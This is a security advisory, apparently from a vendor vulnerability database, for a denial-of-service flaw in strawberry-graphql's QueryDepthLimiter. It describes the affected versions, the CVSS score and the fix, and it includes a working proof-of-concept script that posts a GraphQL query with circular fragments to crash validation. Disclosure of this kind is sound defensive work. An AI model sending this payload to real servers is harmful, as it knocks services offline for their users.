CVE-2026-47706

The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.

Details

The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.
By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.

PoC

server code

import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Enable depth limiting
schema = strawberry.Schema(
    query=Query, 
    extensions=[QueryDepthLimiter(max_depth=10)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")

exploit

import httpx

# Circular reference: A -> B -> A -> B ...
payload = {
    "query": """
        fragment A on User {
            ...B
        }
        fragment B on User {
            ...A
        }
        query Crash {
            user {
                ...A
            }
        }
    """
}

try:
    response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
    print(response.json())
except Exception as e:
    print(f"Server crashed or timed out: {e}")

Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-47706 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.315.7); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-47706? CVE-2026-47706 is a medium-severity uncontrolled resource consumption vulnerability in strawberry-graphql (pip), affecting versions >= 0.71.0, <= 0.315.6. It is fixed in 0.315.7. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-47706? CVE-2026-47706 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of strawberry-graphql are affected by CVE-2026-47706? strawberry-graphql (pip) versions >= 0.71.0, <= 0.315.6 is affected.
4. Is there a fix for CVE-2026-47706? Yes. CVE-2026-47706 is fixed in 0.315.7. Upgrade to this version or later.
5. Is CVE-2026-47706 exploitable, and should I be worried? Whether CVE-2026-47706 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47706 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47706? Upgrade strawberry-graphql to 0.315.7 or later.